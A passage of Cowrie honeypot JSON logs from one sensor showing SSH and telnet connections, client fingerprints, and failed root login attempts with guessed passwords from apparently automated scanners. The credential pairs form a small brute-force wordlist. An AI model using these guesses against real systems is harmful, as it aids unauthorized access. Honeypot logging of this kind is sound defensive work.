-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.283271Z","src_ip":"43.135.182.46","session":"647474fc1047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.472532Z","src_ip":"103.195.236.96","session":"a77b8b1a24fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wq123456","message":"login attempt [root/Wq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.589278Z","src_ip":"43.135.182.46","session":"647474fc1047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":56606,"dst_ip":"159.203.135.109","dst_port":22,"session":"448ad5a3fb30","protocol":"ssh","message":"New connection: 43.130.31.151:56606 (159.203.135.109:22) [session: 448ad5a3fb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.794216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.799038Z","src_ip":"43.130.31.151","session":"448ad5a3fb30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.870046Z","src_ip":"43.130.31.151","session":"448ad5a3fb30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clouduser","message":"login attempt [root/clouduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:01.178126Z","src_ip":"43.130.31.151","session":"448ad5a3fb30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qaz","message":"login attempt [root/1234qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:01.188488Z","src_ip":"103.195.236.96","session":"a77b8b1a24fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:01.661967Z","src_ip":"43.135.182.46","session":"647474fc1047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:02.250812Z","src_ip":"43.130.31.151","session":"448ad5a3fb30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:02.432835Z","src_ip":"103.195.236.96","session":"a77b8b1a24fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54648,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e50609ce0f","protocol":"telnet","message":"New connection: 192.119.13.58:54648 (10.17.0.5:23) [session: f2e50609ce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:03.180024Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57584,"dst_ip":"10.17.0.5","dst_port":23,"session":"088b922d9f07","protocol":"telnet","message":"New connection: 192.119.13.58:57584 (10.17.0.5:23) [session: 088b922d9f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:03.850279Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":34652,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a34b4f3919","protocol":"ssh","message":"New connection: 209.99.184.143:34652 (159.203.135.109:22) [session: 49a34b4f3919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:18.696523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:18.701212Z","src_ip":"209.99.184.143","session":"49a34b4f3919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:18.792792Z","src_ip":"209.99.184.143","session":"49a34b4f3919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cx123456","message":"login attempt [root/Cx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:19.193176Z","src_ip":"209.99.184.143","session":"49a34b4f3919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:20.288218Z","src_ip":"209.99.184.143","session":"49a34b4f3919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53044,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4c7f020ac6","protocol":"ssh","message":"New connection: 193.37.70.224:53044 (10.17.0.5:22) [session: 5e4c7f020ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:32.963203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:32.971041Z","src_ip":"193.37.70.224","session":"5e4c7f020ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:33.071351Z","src_ip":"193.37.70.224","session":"5e4c7f020ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q2345678","message":"login attempt [root/q2345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:33.351947Z","src_ip":"193.37.70.224","session":"5e4c7f020ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:34.447879Z","src_ip":"193.37.70.224","session":"5e4c7f020ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":58552,"dst_ip":"159.203.135.109","dst_port":22,"session":"791b0e44069b","protocol":"ssh","message":"New connection: 72.17.34.38:58552 (159.203.135.109:22) [session: 791b0e44069b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:42.620834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:42.625506Z","src_ip":"72.17.34.38","session":"791b0e44069b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:42.661348Z","src_ip":"72.17.34.38","session":"791b0e44069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ggwooollqwe123","message":"login attempt [root/ggwooollqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:42.835713Z","src_ip":"72.17.34.38","session":"791b0e44069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:43.873561Z","src_ip":"72.17.34.38","session":"791b0e44069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.85751414299011,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:44.037426Z","src_ip":"192.119.13.58","session":"f2e50609ce0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":36048,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87579723ebc","protocol":"ssh","message":"New connection: 202.79.29.108:36048 (159.203.135.109:22) [session: b87579723ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:46.034726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:46.038997Z","src_ip":"202.79.29.108","session":"b87579723ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:46.302025Z","src_ip":"202.79.29.108","session":"b87579723ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mudar123","message":"login attempt [root/mudar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:47.385897Z","src_ip":"202.79.29.108","session":"b87579723ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:48.652800Z","src_ip":"202.79.29.108","session":"b87579723ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.03482413291931,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:49.884996Z","src_ip":"192.119.13.58","session":"088b922d9f07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56048,"dst_ip":"10.17.0.5","dst_port":22,"session":"73274c1c5e03","protocol":"ssh","message":"New connection: 103.15.222.183:56048 (10.17.0.5:22) [session: 73274c1c5e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:17.079421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:17.084319Z","src_ip":"103.15.222.183","session":"73274c1c5e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:17.330577Z","src_ip":"103.15.222.183","session":"73274c1c5e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456456","message":"login attempt [root/456456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:18.068662Z","src_ip":"103.15.222.183","session":"73274c1c5e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":58686,"dst_ip":"159.203.135.109","dst_port":22,"session":"587cb60fa4f9","protocol":"ssh","message":"New connection: 209.99.184.143:58686 (159.203.135.109:22) [session: 587cb60fa4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:18.889805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:18.895074Z","src_ip":"209.99.184.143","session":"587cb60fa4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:18.987220Z","src_ip":"209.99.184.143","session":"587cb60fa4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:19.316549Z","src_ip":"103.15.222.183","session":"73274c1c5e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsk","password":"123","message":"login attempt [lsk/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:19.384673Z","src_ip":"209.99.184.143","session":"587cb60fa4f9","protocol":"ssh"}
